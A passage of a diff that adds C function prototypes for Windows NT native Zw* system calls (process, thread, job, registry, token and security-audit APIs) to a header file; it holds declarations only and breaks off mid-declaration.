+ZwMapUserPhysicalPagesScatter ( + IN PVOID *VirtualAddresses, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + OUT PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwFreeUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + IN PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwGetWriteWatch ( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T RegionSize, + OUT PVOID *UserAddressArray, + IN OUT PULONG_PTR EntriesInUserAddressArray, + OUT PULONG Granularity + ); + + + +NTSTATUS +NTAPI +ZwResetWriteWatch ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN SIZE_T RegionSize + ); + + + +NTSTATUS +NTAPI +ZwCreatePagingFile ( + IN PUNICODE_STRING PageFileName, + IN PLARGE_INTEGER MinimumSize, + IN PLARGE_INTEGER MaximumSize, + IN ULONG Priority + ); + + + +NTSTATUS +NTAPI +ZwFlushInstructionCache ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN SIZE_T Length + ); + + + +NTSTATUS +NTAPI +ZwFlushWriteBuffer ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwQueryObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG ObjectInformationLength, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG ObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN OPTIONAL HANDLE TargetProcessHandle, + OUT PHANDLE TargetHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + + +NTSTATUS +NTAPI +ZwMakeTemporaryObject ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwMakePermanentObject ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwSignalAndWaitForSingleObject ( + IN HANDLE SignalHandle, + IN HANDLE WaitHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects32 ( + IN ULONG Count, + IN LONG Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwSetSecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + + +NTSTATUS +NTAPI +ZwQuerySecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Length, + OUT PULONG LengthNeeded + ); + + + +NTSTATUS +NTAPI +ZwClose ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwCreateDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryObject ( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING LinkTarget + ); + + + +NTSTATUS +NTAPI +ZwOpenSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySymbolicLinkObject ( + IN HANDLE LinkHandle, + IN OUT PUNICODE_STRING LinkTarget, + OUT PULONG ReturnedLength + ); + + + +NTSTATUS +NTAPI +ZwGetPlugPlayEvent ( + IN HANDLE EventHandle, + IN OPTIONAL PVOID Context, + OUT PPLUGPLAY_EVENT_BLOCK EventBlock, + IN ULONG EventBufferSize + ); + + + +NTSTATUS +NTAPI +ZwPlugPlayControl( + IN PLUGPLAY_CONTROL_CLASS PnPControlClass, + IN OUT PVOID PnPControlData, + IN ULONG PnPControlDataLength + ); + + + +NTSTATUS +NTAPI +ZwPowerInformation( + IN POWER_INFORMATION_LEVEL InformationLevel, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwSetThreadExecutionState( + IN EXECUTION_STATE esFlags, // ES_xxx flags + OUT EXECUTION_STATE *PreviousFlags + ); + + + +NTSTATUS +NTAPI +ZwRequestWakeupLatency( + IN LATENCY_TIME latency + ); + + + +// NTSTATUS +// NTAPI +// ZwInitiatePowerAction( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags, // POWER_ACTION_xxx flags +// IN BOOLEAN Asynchronous +// ); + + + +// NTSTATUS +// NTAPI +// ZwSetSystemPowerState( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags // POWER_ACTION_xxx flags +// ); + + + +// NTSTATUS +// NTAPI +// ZwGetDevicePowerState( +// IN HANDLE Device, +// OUT DEVICE_POWER_STATE *State +// ); + + + +NTSTATUS +NTAPI +ZwCancelDeviceWakeupRequest( + IN HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwRequestDeviceWakeup( + IN HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwCreateProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN BOOLEAN InheritObjectTable, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort + ); + + + +NTSTATUS +NTAPI +ZwCreateProcessEx ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort, + IN ULONG JobMemberLevel + ); + + + +NTSTATUS +NTAPI +ZwOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateProcess ( + IN OPTIONAL HANDLE ProcessHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwGetNextProcess ( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetNextThread ( + IN HANDLE ProcessHandle, + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryPortInformationProcess ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + OUT PCLIENT_ID ClientId, + IN PCONTEXT ThreadContext, + IN PINITIAL_TEB InitialTeb, + IN BOOLEAN CreateSuspended + ); + + + +NTSTATUS +NTAPI +ZwOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateThread ( + IN OPTIONAL HANDLE ThreadHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwSuspendThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwSuspendProcess ( + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwResumeProcess ( + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetContextThread ( + IN HANDLE ThreadHandle, + IN OUT PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwSetContextThread ( + IN HANDLE ThreadHandle, + IN PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAlertThread ( + IN HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwAlertResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwImpersonateThread ( + IN HANDLE ServerThreadHandle, + IN HANDLE ClientThreadHandle, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + + +NTSTATUS +NTAPI +ZwTestAlert ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwRegisterThreadTerminatePort ( + IN HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLdtEntries ( + IN ULONG Selector0, + IN ULONG Entry0Low, + IN ULONG Entry0Hi, + IN ULONG Selector1, + IN ULONG Entry1Low, + IN ULONG Entry1Hi + ); + + + +NTSTATUS +NTAPI +ZwQueueApcThread ( + IN HANDLE ThreadHandle, + IN PPS_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + + + +NTSTATUS +NTAPI +ZwCreateJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwAssignProcessToJobObject ( + IN HANDLE JobHandle, + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwTerminateJobObject ( + IN HANDLE JobHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwIsProcessInJob ( + IN HANDLE ProcessHandle, + IN OPTIONAL HANDLE JobHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateJobSet ( + IN ULONG NumJob, + IN PJOB_SET_ARRAY UserJobSet, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationJobObject ( + IN OPTIONAL HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + OUT PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationJobObject ( + IN HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + IN PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + + + +NTSTATUS +NTAPI +ZwDeleteKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + + + +NTSTATUS +NTAPI +ZwEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwEnumerateValueKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwFlushKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwInitializeRegistry( + IN USHORT BootCondition + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeKey( + IN HANDLE KeyHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeMultipleKeys( + IN HANDLE MasterKeyHandle, + IN OPTIONAL ULONG Count, + IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + + +NTSTATUS +NTAPI +ZwLoadKey( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile + ); + + + +NTSTATUS +NTAPI +ZwLoadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwLoadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags, + IN OPTIONAL HANDLE TrustClassKey + ); + + + +NTSTATUS +NTAPI +ZwOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwQueryMultipleValueKey( + IN HANDLE KeyHandle, + IN OUT PKEY_VALUE_ENTRY ValueEntries, + IN ULONG EntryCount, + OUT PVOID ValueBuffer, + IN OUT PULONG BufferLength, + OUT OPTIONAL PULONG RequiredBufferLength + ); + + + +NTSTATUS +NTAPI +ZwReplaceKey( + IN POBJECT_ATTRIBUTES NewFile, + IN HANDLE TargetHandle, + IN POBJECT_ATTRIBUTES OldFile + ); + + + +NTSTATUS +NTAPI +ZwRenameKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING NewName + ); + + + +NTSTATUS +NTAPI +ZwCompactKeys( + IN ULONG Count, + IN HANDLE KeyArray[] + ); + + + +NTSTATUS +NTAPI +ZwCompressKey( + IN HANDLE Key + ); + + + +NTSTATUS +NTAPI +ZwRestoreKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwSaveKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSaveKeyEx( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Format + ); + + + +NTSTATUS +NTAPI +ZwSaveMergedKeys( + IN HANDLE HighPrecedenceKeyHandle, + IN HANDLE LowPrecedenceKeyHandle, + IN HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey( + IN POBJECT_ATTRIBUTES TargetKey + ); + + + +NTSTATUS +NTAPI +ZwUnloadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwUnloadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN OPTIONAL HANDLE Event + ); + + + +NTSTATUS +NTAPI +ZwSetInformationKey( + IN HANDLE KeyHandle, + IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, + IN PVOID KeySetInformation, + IN ULONG KeySetInformationLength + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeys( + IN POBJECT_ATTRIBUTES TargetKey, + OUT PULONG HandleCount + ); + + + +NTSTATUS +NTAPI +ZwQueryOpenSubKeysEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG BufferLength, + OUT PVOID Buffer, + OUT PULONG RequiredSize + ); + + + +NTSTATUS +NTAPI +ZwLockRegistryKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwLockProductActivationKeys( + IN OUT OPTIONAL ULONG *pPrivateVer, + OUT OPTIONAL ULONG *pSafeMode + ); + + + +NTSTATUS +NTAPI +ZwAccessCheck ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByType ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultList ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + + +NTSTATUS +NTAPI +ZwCreateToken( + OUT PHANDLE TokenHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TOKEN_TYPE TokenType, + IN PLUID AuthenticationId, + IN PLARGE_INTEGER ExpirationTime, + IN PTOKEN_USER User, + IN PTOKEN_GROUPS Groups, + IN PTOKEN_PRIVILEGES Privileges, + IN OPTIONAL PTOKEN_OWNER Owner, + IN PTOKEN_PRIMARY_GROUP PrimaryGroup, + IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + IN PTOKEN_SOURCE TokenSource + ); + + + +NTSTATUS +NTAPI +ZwCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN Equal + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenThreadTokenEx( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenProcessTokenEx( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + + +NTSTATUS +NTAPI +ZwDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwFilterToken ( + IN HANDLE ExistingTokenHandle, + IN ULONG Flags, + IN OPTIONAL PTOKEN_GROUPS SidsToDisable, + IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + OUT PHANDLE NewTokenHandle + ); + + + +NTSTATUS +NTAPI +ZwImpersonateAnonymousToken( + IN HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustPrivilegesToken ( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN OPTIONAL PTOKEN_PRIVILEGES NewState, + IN OPTIONAL ULONG BufferLength, + OUT PTOKEN_PRIVILEGES PreviousState, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwAdjustGroupsToken ( + IN HANDLE TokenHandle, + IN BOOLEAN ResetToDefault, + IN PTOKEN_GROUPS NewState , + IN OPTIONAL ULONG BufferLength , + OUT PTOKEN_GROUPS PreviousState , + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwPrivilegeCheck ( + IN HANDLE ClientToken, + IN OUT PPRIVILEGE_SET RequiredPrivileges, + OUT PBOOLEAN Result + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + + +NTSTATUS +NTAPI +ZwAccessCheckByTypeResultListAndAuditAlarmByHandle ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwOpenObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN ACCESS_MASK GrantedAccess, + IN OPTIONAL PPRIVILEGE_SET Privileges, + IN BOOLEAN ObjectCreation, + IN BOOLEAN AccessGranted, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegeObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwCloseObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwDeleteObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +ZwPrivilegedServiceAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN PUNICODE_STRING ServiceName, + IN HANDLE ClientToken, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +ZwContinue ( + IN PCONTEXT ContextRecord, + IN BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +ZwRaiseException ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord, + IN BOOLEAN FirstChance + ); + +// end_zwapi + +ULONG +DbgPrint( + IN PCH Format, + ... + ); + +VOID NTAPI +DebugService2 ( + PVOID Arg1, + PVOID Arg2, + 